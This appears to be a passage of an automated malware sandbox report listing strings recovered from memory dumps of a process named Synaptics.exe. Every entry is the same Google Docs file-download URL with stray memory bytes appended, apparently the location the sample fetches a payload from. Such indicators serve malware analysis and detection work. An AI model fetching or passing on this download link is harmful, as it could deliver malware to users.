Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadolvin
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo$
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorL
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorp
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadosni
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadou
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpPm
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpp
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadppI#y
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadps
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqER
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...W
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...w
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.k
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.t
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrand4
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrc
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrc/%c
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrek
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadri
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrker-
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrm
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrm-Ve
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrm-fa
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrsh
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrsio
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrust%
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrv
Source: Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadso
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsolv
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadst
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt-
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt8
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt9
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtd
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtfor
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadti
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadti9
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtiJJc
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl8
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlT
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlenhoG
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlt
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadts
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadttp/
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu2
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduDn
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3017903336.000000001D6FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduV
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadub
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadub%
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaducatiP8U
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadull
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadun
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadunP
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadut
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadve
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvi
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadviT
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvn
